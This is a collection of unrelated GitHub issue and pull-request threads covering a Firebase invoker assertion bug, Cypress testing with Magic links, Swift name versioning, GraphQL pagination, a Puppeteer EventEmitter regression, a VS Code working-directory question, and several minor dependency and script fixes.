[x] Create type with its builders.
[x] Make the type serializable.
[x] Make the type inheriting from Comparable.
[x] Deprecate the old type.
[x] Refactor.
[x] Update Work in progress section in changelog.

Done.


Cannot set invoker to public for HTTP request function

According to the typing of HttpsOptions class, I should be able to set invoker to public or private. But when I tried to deploy a https_fn.on_request function with invoker=True, an error is raised:
[2024-03-06 02:26:16,162] ERROR in app: Exception on /__/functions.yaml [GET]
Traceback (most recent call last):
  File "/Volumes/Cased/Projects/cloud-functions/functions/.venv/lib/python3.11/site-packages/flask/app.py", line 1463, in wsgi_app
    response = self.full_dispatch_request()
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Volumes/Cased/Projects/cloud-functions/functions/.venv/lib/python3.11/site-packages/flask/app.py", line 872, in full_dispatch_request
    rv = self.handle_user_exception(e)
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Volumes/Cased/Projects/cloud-functions/functions/.venv/lib/python3.11/site-packages/flask/app.py", line 870, in full_dispatch_request
    rv = self.dispatch_request()
         ^^^^^^^^^^^^^^^^^^^^^^^
  File "/Volumes/Cased/Projects/cloud-functions/functions/.venv/lib/python3.11/site-packages/flask/app.py", line 855, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)  # type: ignore[no-any-return]
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Volumes/Cased/Projects/cloud-functions/functions/.venv/lib/python3.11/site-packages/firebase_functions/private/serving.py", line 122, in get_functions_yaml
    functions = get_functions()
                ^^^^^^^^^^^^^^^
  File "/Volumes/Cased/Projects/cloud-functions/functions/.venv/lib/python3.11/site-packages/firebase_functions/private/serving.py", line 40, in get_functions
    spec.loader.exec_module(module)
  File "<frozen importlib._bootstrap_external>", line 940, in exec_module
  File "<frozen importlib._bootstrap>", line 241, in _call_with_frames_removed
  File "/Volumes/Cased/Projects/cloud-functions/functions/main.py", line 29, in <module>
    @https_fn.on_request(invoker="public", memory=options.MemoryOption.MB_512)
     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Volumes/Cased/Projects/cloud-functions/functions/.venv/lib/python3.11/site-packages/firebase_functions/https_fn.py", line 443, in on_request_inner_decorator
    options._endpoint(func_name=func.__name__),
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Volumes/Cased/Projects/cloud-functions/functions/.venv/lib/python3.11/site-packages/firebase_functions/options.py", line 1120, in _endpoint
    assert len(
           ^^^^
AssertionError: HttpsOptions: Invalid option for invoker - must be a non-empty list.

Hello @thanhbinh01234. The invoker argument expects a string. From your comment, you are passing True. Could you check or provide a code sample with this fix?

I made a mistake in the original comment. I already passed invoker="public" as shown in the exception stack.

@exaby73 The problem seems to be an off-by-one error.
https://github.com/firebase/firebase-functions-python/blob/db1eb6cfc21ac3c403d9804b638a374c6590ff1b/src/firebase_functions/options.py#L1135-L1137
This asserts the list length must have at least two items. invoker="public" gets coerced to invoker=["public"] which fails the assertion, but invoker=["user1", "user2"] passes.


How to do e2e tests using Cypress with Magic links?

✅ Prerequisites

[x] Did you perform a cursory search of open issues? Is this question already asked elsewhere?
[x] Are you reporting to the correct repository (magic-sdk)?

❓ Question
I got started adding e2e tests for my application using Cypress. Cypress is very opinionated about how you test logging in. I.e., that you shouldn't just type and click through the UI to login, then run your test, but that you should make logging in a part of the test.
All well and good, except when it comes to Magic links—I have to open my email and click the link, which is the whole point and why we all love it! But I'm not sure how to test this in Cypress now. Do I just use the admin-sdk or something to get a token without ever entering my email in an input field? Just wondered what others were doing, if there was a golden path. Much appreciated!
Note that we're looking into this Cypress plugin for testing Magic's social login https://github.com/lirantal/cypress-social-logins, but still weren't sure how to test Magic's vanilla login.

For the near-term, I would recommend stubbing Magic methods with something like sinon. The following snippet would work for a simple use-case:
import sinon from 'sinon';
impor { Magic } from 'magic-sdk';

const magicInst = new Magic('FAKE_API_KEY');

myTestSuite.testCase('stubs magic', () => {
  const stub = sinon.stub(magicInst.auth, 'loginWithMagicLink');
  // ...
});

We are also actively working on built-in testing features to bypass the magic link flow or assert particular behaviors. I'll update this thread when those features are available!

@smithki
Are any of those built-in testing features you mention above now available?

Yup! You can read about it here.
Bear in mind it does not support our server-side SDKs at this time; those will still need to be mocked to your specific case.


Backport 2.16: Fix filtering of excluded tests in compat.sh

# Description
This is a backport of https://github.com/ARMmbed/mbedtls/pull/2466. Please see that PR for a description.

Closing as 2.16 is now EOL and there's already a PR targeting development.


[Clang Importer] Get off of useSwift2Name and onto versions

Lots of plumbing to scrap all the "useSwift2Name" bools scattered around and instead speak in terms of Swift versions. Some generalizations made that will also help with source compatibility.

@swift-ci please test

So, this still doesn't get us all the way to importing all three existing versions of a name (raw, Swift2, Swift3), right? Even before I add the Swift-3-vs.-Swift-4 support?

Raw names are still confined to the special case of suppressing init formation. Getting all the raw names is still a todo for me.

Better raw name support is a nice user experience to provide, but otherwise unrelated to source-compatibility, correct? Otherwise I can reprioritize.

Arguably correct, since the raw case will always be fully unavailable (not just deprecated) when it differs from the Swift 3 case. I think all the raw names I care about are covered by the Swift 2 name anyway—things like the top-level CoreGraphics functions.

Right, the raw names were never valid names, but they're nice to recognize if someone copy-pasta-ed some ObjC code. I definitely want to get them soon, of course.
Now updated with better names, and uses the Swift version the user requested us to on the command line.

@swift-ci please test

What is a "Swift 2 name" and what are they used for?

Getting tested at https://ci.swift.org/view/Pull Request/job/swift-PR-osx/4614/
Don't see the Linux one yet, but may be coming later

It is the name of a foreign decl as it appeared in Swift 2. That means without any omit-needless-words transforms, import-as-member, etc. It does, however, have some of the transforms that were present in Swift 2 and earlier, such as import-as-init.

To elaborate, several weeks ago @milseman and I came up with several different "versions" an API may appear under. For something like the following declaration:
+ (instancetype)fooByWrappingBar:(Bar *)bar NS_SWIFT_NAME("init(containing:)");

where the NS_SWIFT_NAME was added only in Swift 4, we can identify four distinct names the user might try to access this under:

Raw: class func fooByWrappingBar(_: Bar)
Swift 1 / Swift 2: init(byWrappingBar: Bar)
Swift 3: init(wrapping: Bar)
Latest: init(containing: Bar)

and ideally trying to use any of the older names produces a more specific diagnostic than just "no such member". Today we only support the "Swift 2" and "Latest" cases, plus a few hard-coded "Raw" cases; we'd like to instead make this general.
We should probably write this down somewhere other than a PR and my office whiteboard.

And to extend that further, if the user requested to use -swift-version 3, and they typed a Swift 4 name, we'd also like to recognize that and point them at the Swift 3 name (probably through a warning rather than error).

@swift-ci please test


Some clean-ups

See commit messages

Codecov Report

Merging #5354 into master will increase coverage by 0.13%.
The diff coverage is 90.74%.

@@             Coverage Diff              @@
##             master    #5354      +/-   ##
============================================
+ Coverage     82.29%   82.42%   +0.13%
- Complexity    11189    11200      +11
============================================
  Files          1350     1349       -1
  Lines         44131    44033      -98
  Branches       5562     5556       -6
============================================
- Hits          36318    36296      -22
+ Misses         5193     5131      -62
+ Partials       2620     2606      -14

Impacted Files
Coverage Δ
Complexity Δ

...te/executor/transport/SubSelectSymbolReplacer.java
79.48% <ø> (+5.67%)
3 <0> (ø)
:arrow_down:

.../main/java/io/crate/metadata/settings/Setting.java
50% <ø> (ø)
1 <0> (ø)
:arrow_down:

...e/analyze/InsertFromSubQueryAnalyzedStatement.java
96% <ø> (+4.75%)
24 <0> (-1)
:arrow_down:

...n/java/io/crate/metadata/settings/TimeSetting.java
83.33% <ø> (+20.83%)
5 <0> (ø)
:arrow_down:

...ava/io/crate/analyze/AnalyzedColumnDefinition.java
91.66% <ø> (-0.06%)
77 <0> (ø)

...java/io/crate/analyze/CopyToAnalyzedStatement.java
100% <ø> (+23.8%)
9 <0> (ø)
:arrow_down:

...rate/operation/udf/UserDefinedFunctionService.java
84.48% <ø> (ø)
14 <0> (ø)
:arrow_down:

...c/main/java/io/crate/jobs/JobExecutionContext.java
92.24% <ø> (+0.71%)
23 <0> (ø)
:arrow_down:

...in/java/io/crate/metadata/settings/IntSetting.java
88.23% <ø> (+9.28%)
7 <0> (ø)
:arrow_down:

...ate/analyze/relations/AnalyzedRelationVisitor.java
83.33% <ø> (+10%)
10 <0> (-1)
:arrow_down:

... and 50 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 8c761ca...cd2b855. Read the comment docs.


Support pagination

https://graphql.org/learn/pagination/

Specifically: https://relay.dev/graphql/connections.htm

@mwildehahn do you want to take this on? I was thinking about doing it but could also keep just churning out validation rules 🤷♂ .
This would be suuuuper cool to have for the MVP.

Do it! Agree this would be really cool. I think it's worth discussing what this looks like, ie is this something like:
<<GraphQL\Field('friends', 'list of friends')>>
public function getFriends(GraphQL\PaginationArgs $args): GraphQL\Connection<User> {
}

That's pretty close to what I was envisioning!

I imagine we'd need something like these helpers too: https://github.com/graphql/graphql-relay-js/blob/main/src/connection/arrayConnection.js#L19

If you have any framework that you currently use internally for querying data with slicing/sorting/filtering/etc. then probably the most important goal here is to make sure this works well with it.
If your framework already has some kind of object that represents a "pending query" (i.e. an object that contains no actual data, just information about what needs to be fetched from a DB, like cursors, filters etc.), you could use that object instead of a new Connection<T> type (alternatively, consider whether that object can be updated to extend Connection<T>).
For example, let's assume UserQuery represents a query to fetch some users. The GraphQL framework could recognize something like
<<GraphQL\Field('friends')>>
public function queryFriends(...): UserQuery {
  ...
}

and generate a connection out of it.

Internally we have a very simple pagination model: basically, all you need is a cursor and an offset and we can do pagination. So I think that fits quite nicely with the relay model already.
I do think we should have a Connection<T> which is separate from our internal representation (which is function-, not called-, based anyway).

Makes sense, if you don't already have a class that would fit naturally, a new Connection<T> sounds good.

We use very little object oriented programming, but we’re starting to use
more.
We also based our cursor pagination off of relay originally (the concept of
an opaque base64 encoded string) and it will be nice to actually use it
within graphql!
On Thu, May 20, 2021 at 5:13 PM Ján @.***> wrote:

Makes sense, if you don't already have a class that would fit naturally, a
new Connection sounds good.
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHub
https://github.com/mwildehahn/hack-graphql/issues/38#issuecomment-845563407,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAFMAUMK5CXJCAYLJXE6WIDTOWQTJANCNFSM44XJAQOQ
.

@jjergus @mh Here's a tech spec: https://paper.dropbox.com/doc/Tech-Spec-GraphQL-Connections--BLIP7PNUHGqviY95S8LmDIPdAg-tfBrXPdOj9B5gvvuoxVAN

There's also an official formal specification, but I don't think it says anything you don't already know :)
https://relay.dev/graphql/connections.htm

Yup, that (and the Relay spec) are what I went off for this.

Is your plan to have one GraphQL connection type per target type (e.g. UserConnection for every field that returns a paginable list of Users) or one GraphQL connection type per field (e.g. FriendsConnection and RelativesConnection for 2 fields that both return a paginable list of Users)?
The latter might be useful (necessary?) if you want any "edge data", e.g. you might want a "relationship (uncle/aunt/...)" on RelativesConnection's edges but not on FriendsConnection.

I guess my plan (to the extent that I have one) is to leave this up to the implementor: you can return a UserConnection::friendsOf($user->getId()), which constructs a connection that returns friends for a user but might also be useful for other things, or you could define a FriendsConnection. The current proposal would easily support both approaches.

Closed via #91


Log Additional System Actions in History

Addresses SARAALERT-389
Summary
Refactor the way histories are created to use methods on the History model. Add in history entries for dependents when their head of household is contacted, when the system automatically closes a monitoree, and when a welcome message is sent.
Important Changes
history.rb

Added several new class methods for creating a History.
Added new types of history to support the feature request.

consume_assessment_job.rb

Did not use the class methods for inserting dependent history for a small optimization.

close_subjects_job.rb

Consolidated logic
Create a History when the system closes out a monitoree.

patient_mailer.rb

Create a new type of History when a welcome email is sent.

Talked to @Bialogs about how to test. We tested one ourselves (reminding ourselves how to imitate the split architecture locally) and I've added some to the list. Will update as items are tested.
All of the following should update the history:

[ ] As a public health user perform an action to the monitoree that would add a history item such as adding a comment
Export a monitoree's data
[ x ] Enroll a new monitoree and send a welcome to SaraAlert email
[ ] Send an assessment report reminder a head of household and ensure propagation through dependents and self
[ ] Trigger a contact attempt to a monitoree
[ ] Add a new lab result
[ ] Update an existing lab result
[ ] Submit an assessment for a monitoree
[ ] Configure some patients to be closed out and run the close job
[  ] Emulate of the triggers in app/controllers/patients_controller.rb (will enumerate)
[ ] Bad response from contact attempt
[ ] Twilio errors
[ ] Twillio text and voice calls successful
[ ] Successful email sent
[ ] Missing email when email is preferred method during assessment reminder
[ ] Missing phone number when preferred contact method requires phone number (sms and voice) during assessment reminder

So I feel pretty good about the changes, just still need to test a lot.
@Bialogs Are you able to get the tests working again soon and we can pounce on testing this PR to get it merged in?

I noticed when I download a monitoree's data it doesn't update the displayed history in real-time. If I refresh the page it shows up. That's not the case for other actions (like submitting a comment or adding a report). Can we make this consistent?

I noticed when I download a monitoree's data it doesn't update the displayed history in real-time. If I refresh the page it shows up. That's not the case for other actions (like submitting a comment or adding a report). Can we make this consistent?

That is a side effect of the page not refreshing on single excel export. I think it's an acceptable issue though, since history is really for auditing after the fact.

I spoke to @Bialogs about this via Slack, but putting here for logging purposes. Error when creating/editing an existing lab report.

@kylietmo Pushed a change that allowed me to create a lab result and view it.

@kylietmo Pushed a change that allowed me to create a lab result and view it.

Confirmed working now, thanks. I'm comfortable merging once we test the rest of the items listed. We can tag team it @Bialogs if you like

Needs a quick rebase


Adjust BloXroute MEV relay in MEV Relay List

announcement, bloXroute MEV Relays to reject blocks w/ OFAC tx: https://twitter.com/bloXrouteLabs/status/1736819783520092357
Reference readme file: https://github.com/eth-educators/ethstaker-guides/blob/4f766cebfa1efb785eab3d6e09ce206c707443bb/MEV-relay-list.md?plain=1

https://github.com/eth-educators/ethstaker-guides/pull/92


[Suggestion] Show Last Comments just to BuddyList/NotShow/Show to all.

Hi to all.
I have a suggestion for add this ability to this plugin for show Last Comments box just to a group (Ex: BuddyList or Not show or show to all.
For Example add a setting to this plugin setting with this description:
Who can see your comments box?

Just Buddy List can see my comments box.
Not show to any member and just i can see my profile comment box.
All member in forum can see my comments box.

Hmm, would be interesting.


Remove dead link.

@robszumski this should point at Documentation/getting-started.md, right?

For now yes. The link on coreos.com will be live after https://github.com/coreos/coreos-kubernetes/pull/35 lands, and we can replace the link to Github.

@robszumski so what's the course of action here for @gosharplite ?

Sounds like we're gonna be able to land all this stuff soon, so hang tight for a few more hours?

https://coreos.com/kubernetes/docs/latest/getting-started.html is now live. Sorry for the trouble!


Issues installing with Python 3.11/3.12

I am trying to install Concordia with Python 3.11 and 3.12 on both macOS and Windows with:
pip install -e .

I get an error that the tensorflow-text package could not be found. Looking at the tensorflow-text GitHub repo and PyPI page it looks like it is only available for Python 3.9/3.10.
Thanks,
Jared

It's working in our tests, which run 3.11 on OSX and Ubuntu and infer tensorflow-text==2.15.0.
An sdist that works for 3.10 should also be compatible with 3.11. Perhaps there's some other reason for the failure to find a wheel. pip -vvv install -e . might help.

I've ran the verbose pip command on OSX and it looks like the available wheel tags are all for x86_64.
I've found in the tensorflow-text repo readme that they now only provide wheels for 'Linux x86_64 and Intel-based Macs' (https://github.com/tensorflow/text#a-note-about-different-operating-system-packages). So this looks like a platform issue rather than a Python version issue.
I see I have two possible workarounds:

build tensorflow-text from source.
disable the EmbedderST5 code in the library and bring my own sentence encoder to remove the dependency on tensorflow-text.

I'm happy for this issue to be closed. Thanks for taking a look.
  Skipping link: none of the wheel's tags (cp310-cp310-macosx_10_9_x86_64) are compatible (run pip debug --verbose to show compatible tags): https://files.pythonhosted.org/packages/63/0f/d260a5cc7d86d25eb67bb919f957106b76af4a039f064526290d9cf5d93e/tensorflow_text-2.15.0-cp310-cp310-macosx_10_9_x86_64.whl (from https://pypi.org/simple/tensorflow-text/)
  Skipping link: none of the wheel's tags (cp310-cp310-manylinux2014_x86_64, cp310-cp310-manylinux_2_17_x86_64) are compatible (run pip debug --verbose to show compatible tags): https://files.pythonhosted.org/packages/70/12/91be80b24a403593f9dacddabd6f7ea110373a1831f575ad2d34fe7d4f7e/tensorflow_text-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (from https://pypi.org/simple/tensorflow-text/)
  Skipping link: none of the wheel's tags (cp311-cp311-macosx_10_9_x86_64) are compatible (run pip debug --verbose to show compatible tags): https://files.pythonhosted.org/packages/8a/fe/a2f19d3d3ab834c3fa1007c970b0b86573beb929c86ca6c85cd13e86e4b2/tensorflow_text-2.15.0-cp311-cp311-macosx_10_9_x86_64.whl (from https://pypi.org/simple/tensorflow-text/)
  Skipping link: none of the wheel's tags (cp311-cp311-manylinux2014_x86_64, cp311-cp311-manylinux_2_17_x86_64) are compatible (run pip debug --verbose to show compatible tags): https://files.pythonhosted.org/packages/20/a0/bdbf2a11141f1c93e572364d13c42537cfe811b747a0bbb58fdd904f3960/tensorflow_text-2.15.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (from https://pypi.org/simple/tensorflow-text/)
  Skipping link: none of the wheel's tags (cp39-cp39-macosx_10_9_x86_64) are compatible (run pip debug --verbose to show compatible tags): https://files.pythonhosted.org/packages/88/db/e2a10d9582704d57923c9948e42ab05aae90fb3f5a8305394ed6961f1668/tensorflow_text-2.15.0-cp39-cp39-macosx_10_9_x86_64.whl (from https://pypi.org/simple/tensorflow-text/)
  Skipping link: none of the wheel's tags (cp39-cp39-manylinux2014_x86_64, cp39-cp39-manylinux_2_17_x86_64) are compatible (run pip debug --verbose to show compatible tags): https://files.pythonhosted.org/packages/fa/59/82c59ca4d26ce24b0e65a1869bbbfc8615df11c31ecf439be095206aa006/tensorflow_text-2.15.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (from https://pypi.org/simple/tensorflow-text/)
Skipping link: not a file: https://pypi.org/simple/tensorflow-text/
Given no hashes to check 0 links for project 'tensorflow-text': discarding no candidates
INFO: pip is looking at multiple versions of gdm-concordia to determine which version is compatible with other requirements. This could take a while.
Will try a different candidate, due to conflict:
    gdm-concordia 1.0.0 depends on tensorflow-text
ERROR: Ignored the following versions that require a different python version: 4.0.0 Requires-Python >=3.7,<3.11; 4.0.0a1 Requires-Python >=3.7,<3.11; 4.0.0a2 Requires-Python >=3.7,<3.11; 4.0.0a3 Requires-Python >=3.7,<3.11; 4.0.0a6 Requires-Python >=3.7,<3.11; 4.0.0b1 Requires-Python >=3.7,<3.11; 4.0.0b2 Requires-Python >=3.7,<3.11; 4.0.0b3 Requires-Python >=3.7,<3.11; 4.0.0b4 Requires-Python >=3.7,<3.11; 4.0.0b5 Requires-Python >=3.7,<3.11; 4.0.2 Requires-Python >=3.7,<3.11; 4.0.3 Requires-Python >=3.7,<3.11
ERROR: Could not find a version that satisfies the requirement tensorflow-text (from gdm-concordia) (from versions: none)
ERROR: No matching distribution found for tensorflow-text
Exception information:
Traceback (most recent call last):
  File "/opt/homebrew/lib/python3.11/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 95, in resolve
    result = self._result = resolver.resolve(
                            ^^^^^^^^^^^^^^^^^
  File "/opt/homebrew/lib/python3.11/site-packages/pip/_vendor/resolvelib/resolvers.py", line 546, in resolve
    state = resolution.resolve(requirements, max_rounds=max_rounds)
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/homebrew/lib/python3.11/site-packages/pip/_vendor/resolvelib/resolvers.py", line 439, in resolve
    raise ResolutionImpossible(self.state.backtrack_causes)
pip._vendor.resolvelib.resolvers.ResolutionImpossible: [RequirementInformation(requirement=SpecifierRequirement('tensorflow-text'), parent=EditableCandidate('file:///Users/jared/Desktop/ai/concordia'))]

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/opt/homebrew/lib/python3.11/site-packages/pip/_internal/cli/base_command.py", line 180, in exc_logging_wrapper
    status = run_func(*args)
             ^^^^^^^^^^^^^^^
  File "/opt/homebrew/lib/python3.11/site-packages/pip/_internal/cli/req_command.py", line 245, in wrapper
    return func(self, options, args)
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/opt/homebrew/lib/python3.11/site-packages/pip/_internal/commands/install.py", line 377, in run
    requirement_set = resolver.resolve(
                      ^^^^^^^^^^^^^^^^^
  File "/opt/homebrew/lib/python3.11/site-packages/pip/_internal/resolution/resolvelib/resolver.py", line 104, in resolve
    raise error from e
pip._internal.exceptions.DistributionNotFound: No matching distribution found for tensorflow-text
Remote version of pip: 23.3.2
Local version of pip:  23.3.2
Was pip installed by pip? True
Removed build tracker: '/private/var/folders/5y/vgj5l8614q7dshm8vjcs9gch0000gn/T/pip-build-tracker-44n8n1j9'


TypeError: this.global.page.addListener is not a function

I have facing this error in the new version 3.2.0
TypeError: this.global.page.addListener is not a function

I'm getting this too within jest-puppeteer: https://github.com/smooth-code/jest-puppeteer/issues/353
Looks like removeListener was added for backwards compatibility but not addListener?

3.2.0 should be a breaking change if we do not add backwards compatibility.

cc @jackfranklin related to #5907

Oh boy.

Important this PR is a breaking change.

But we released a non-breaking change. Hahaha. Oops.

I also has related issues with this change to new Mitt-based eventemitter.
I use 'newListener'/'removeListener' of a page object to remove dangling listeners on some error conditions.
Node newListener event
Could you please use another node-compatible implementation of eventemitter?
e.g. events

I'm experiencing this too:
TypeError: page.removeAllListeners is not a function
Is there an equivalent with eventemitter.off() for all listeners for the same event?

@jackfranklin
It also seems that removing a listener imported from another module doesn't actually remove the listener but just the reference of it, thus this;
// someModule.js
// const page = .....
function myHandler(req) {
    // do something
}
function main(page) {
    page.off('request', myHandler);
}
module.exports = main;

// main.js
const removeMyListener = require('./someModule')
// const page = .....
removeMyListener(page);
page.on('request', myHandler);

throws a 'Request is already handled!' error message when attempting to intercept requests after the fact.
The mitt that is used in 3.2.0 is too simple for this.

Chained listener registration also broke: page.once('error', cb).once('pageerror', cb).
once no longer returns this, so the second once call breaks.
Could use auto-generated .d.ts to identify such issues at type-check time, now that the project's source is TypeScript-based.

Hi all,
Apologies for the issues here. We went back and forth between a major version or minor and (in hindsight, incorrectly) decided that we thought the events we added would make us backwards compatible enough which was obviously incorrect. We didn't think this behaviour was relied on greatly which it turns out it is.
Please stick to 3.1 for now and we'll figure out the best path forwards which will either be to revert back to EventEmitter or polyfill all the missing methods that we need to make this transition much smoother.

It broke the example in the readme.

Thanks everyone for the extra info - sorry again for the issues. We're figuring out the best path forwards and will get something out soon that fixes the immediate problem and then we can plan a smoother migration forwards. Additionally we can improve our test coverage to make it more representative (one of the things that guided us was we didn't have a single test failure when we migrated the codebase) and catch these things ahead of time rather than place the burden on you all to report.

Hi everyone, we have now release v3.3.0 which contains all the new features of v3.2.0 (the vision deficiency API for example) but reverts the EventEmitter change. We'll rethink how best to reintroduce that in a future version and ensure the process is much smoother.
If you have had problems with 3.2.0, please upgrade to 3.3.0 which does not have the problems that 3.2.0 had.
Apologies again for the problems caused here. Please open a new issue if you're still having problems.


Problem when working with files in Python

Мы скопировали необходимые данные в буфер обмена, так как у них был слишком большой размер для отправки. Вставьте эти данные.

In the folder where I save all files with Python lessons, I created a text file.txt. I tried calling this file as shown below.
f = open ('text.txt')
print (f.read ())
The .py file where I am trying to open the text file.txt, and the text file itself.txt files are located in the same folder. The terminal writes that such a file does not exist, although this is not the case. However, the standard Python terminal that comes with the language itself outputs everything normally. How can I fix this problem?

(Экспериментальное обнаружение дубликатов)
Спасибо, что прислали этот вопрос. Пожалуйста, также проверьте, если он уже покрыт существующим, например:

Удаляется VCode (#92214)

I will explain my problem in more detail. I am learning the Python programming language. I reached a lesson on YouTube, which deals with the issue of working with files. This lesson explained that if the files are in the same folder, when writing (f = fopen ('text.txt')), and then the commands (print (f. read ()) the file should be opened by default for reading, and the terminal should output all the contents of the called file. The problem is that the terminal of the VS Code editor displays an error that such a file does not exist. At the same time, everything works fine in the standard terminal, which is initially installed when installing the Python language itself from the developer's site.

Sorry, I'm not able to reproduce:

I'm quite sure the integrated terminal works as expected and this is some other issue, likely python related. I suggest to also print the working directory. Also double check you have no typo in the file name.

Извините, я не могу воспроизвести:

Я совершенно уверен, что интегрированный терминал работает так, как ожидалось, и это какая-то другая проблема, вероятно связанная с python. Предлагаю также распечатать рабочий каталог. Также дважды проверьте, что у вас нет опечатки в имени файла.

To make it more clear, I will attach two screenshots. The first screenshot shows the result in VS Code, and the second shows the result in the standard Python terminal.

In the first screenshot, the VS Code terminal displays an error that the file is text.txt does not exist. In the second screenshot, the standard Python terminal, which I downloaded along with the language itself from the developer's site, displayed the entire contents of the text file .txt.
In principle, I can work with the code through the standard Python editor and terminal, but I need a program like VSCode, so I can use it to learn different programming languages, including Python, which I am studying now. The vscode terminal itself reproduces code results such as (Hello World) and solutions to other tasks without problems . For example, I recently made a small calculator using a function (def) and conditional operators (if, elife). The terminal reproduces the results of this program normally.
I assume that in General the VS Code terminal works fine, but when I try, being in a file with the .py extension , using the entry (f = open ('text.txt') open this file and output it in the terminal using the entry (print (f. read ()), then it is possible that the VSCode program itself does not see this file for some reason and outputs an error that such a file does not exist.
The question is , how do I solve this problem? Maybe there is some special extension for the editor , installation of which can fix this problem, if so, what is it called?

To run the program, did you press the Play triangle? That would explain it.
That opens the console with a different folder as current working directory (as you can see in the screenshot)
The Play button comes from the Python extension. You can file the issue there.
https://github.com/microsoft/vscode-python/issues

https://github.com/microsoft/vscode-python/issues

You're right. I actually used Play to launch programs . So you want to say that you had to run the program in the terminal using the Run tab , the F5 key, or ctrl + F5? Then VS Code will find the text file.txt?

There are many ways of running a program. What's key for you is that the current working directly is set to the folder of the script.
One way that would work:

select the script file in the explorer and run Open in Terminal from the context menu
In the terminal that starts up, run python yourscript.py

Есть много способов запуска программы. Что является ключевым для вас является то, что текущая работа непосредственно устанавливается в папку скрипта.
Один из способов, который будет работать:

выберите файл сценария в проводнике и запустите Open in Terminalего из контекстного меню
В терминале, который запускается, запустите python yourscript.py
As you said, I launched the file via the context menu using the "Open in Terminal" command.

After that, I wrote terminal (python yourscript.py).

I didn 't understand how to correctly enter this command in the terminal to make it work. Apparently, the fact that even before installing VS Code, I worked in the standard Python IDE affects the fact that I have not yet fully understood how to work with the VS Code terminal . Before that, I took classes on working with functions, conditional operators, and exceptions. All these scripts I ran only through the triangle. I got stuck on file detection only when I started studying the topic "working with files in Python".
I am also interested in another question. The fact is that English is not my native language, so I write the file names in my native Russian, in this folder, which contains files with my scripts on the topics of other Python lessons, in English I named only the file (text.txt). Can errors with finding files when working with them with the VS Code editor be related to this? Maybe it would be better to name all the files in English?

Sorry, I don't have any experience with using using Cyrillic letters in file names. Using English file names certainly makes things easier.
If you have spaces in your file name, you need to use double quotes around the file name.

Извините, у меня нет никакого опыта использования кириллических букв в именах файлов. Использование английских имен файлов, безусловно, упрощает задачу.
Если у вас есть пробелы в имени файла, вам нужно использовать двойные кавычки вокруг имени файла.

I understand that it is not the file names that matter, and I agree in principle that it is better to set the file names in English. I think the question in my case is different.
The fact is that when I first started learning Python, following the tips from the lessons on YouTube, I first installed the so-called Python IDLE before installing VS Code. I have been programming in it for a long time, everything was simple there, you could check any Python script in the terminal of this program just by pressing the F5 button, this command easily launched any scripts on Python, including the script that allowed using Python code to output the contents of another file to the terminal of the Python IDLE program.
Then, following the tips from the same lessons from YouTube, I started looking for a more professional development environment. I was looking for a universal development environment. The point is that I don't just want to learn Python, but when I get used to it, I will definitely learn other languages, so I want to clog up my computer with ten development environments for ten programming languages. It would be convenient for me if I could program in different languages in the same development environment. This is what I thought when I installed VS Code.
After installing VS Code and installing an extension to support Python scripts, I continued working with the new editor as well as with Python IDLE. In VS Code, I went through what I went through earlier to repeat and to test the capabilities of the new development environment. All the scripts that I wrote on Python in VS Code, I played by clicking on the green triangle. Everything worked, problems only arose when I came to the topic "Working with files in Python". It is the solution to this problem that I am trying to understand and do by asking you my questions.
I believe that one of my key problems now when working with Python in VS Code is that I have abruptly moved from a simpler development environment like Python IDLE to a more complex VS Code. I continued programming as I had done in the previous development environment, without fully understanding the capabilities of this editor. I would also like to ask you if there are any lessons on YouTube in which Python programming is performed in the VS Code development environment? I would like to find a tutorial on YouTube that shows how to work with files of different types using Python scripts, where they would show the correct way to run the script that finds the file, output all its contents to the VS Code terminal.
I generally study programming on my own at home in my free time, sitting on the couch with my laptop. So I watch different lessons on YouTube, just visually from the image of the video I perceive information better than reading the text.
And also, I'm sorry to give you so much different information. The fact is that I don't have a single friend who is professionally engaged in programming. I try to learn it myself, using only the Internet, YouTube, forums and social networks. You are already a professional programmer who already has his own development, and I have just started my way to also start developing my own full-fledged applications, which is why I am studying Python. By the way, I have one more question for you. Are you a VS Code developer, or are you just consulting newcomers like me, helping them and me understand the possibilities of this development environment?
In any case, I will continue to study Python all the next weekend, but for a comfortable learning of this language and programming in it, I need to better and more thoroughly understand the VS Code editor itself.

I'm happy to help and I'm glad you use VSCode. Learning a new language and environment is challenging and frustrating at times, I fully understand you.
I'm a actually developer from the VSCode (editor) team. I don't develop in Python and also don't know the Python extension very well. Also this is the VSCode issue tracker and not the right place for help.
For VSCode and VSCode Python related help we recommend to use ask questions on https://stackoverflow.com/questions/tagged/visual-studio-code?tab=Newest
For bug reports against the VSCode Python extension (such as the play button, or the Python launch extension), please file issues against https://github.com/microsoft/vscode-python/issues


BUG - in scripts/bootstrap

In this commit:  PR:  "enable raspbian check #41"
Introduced problems to the bootstrap script
For example, line 40 reads:
test "$RELEASE" = 1 || sudo install cmake

That does not work.

Thanks for reporting this issue.  PR coming soon.


Update kubernetes to 1.19.1 and etcd to 3.4.13

Update Kubernetes dependencies to v1.19.1 and etcd to 3.4.13

test-me-please

test-missed-k8s

test-missed-k8s

test-missed-k8s

test-missed-k8s


Update VB property pages to support portable and embedded debug info

@davkean Where is the equivalent code for C#? Couldn't find it.

@tmat: When were these settings introduced?
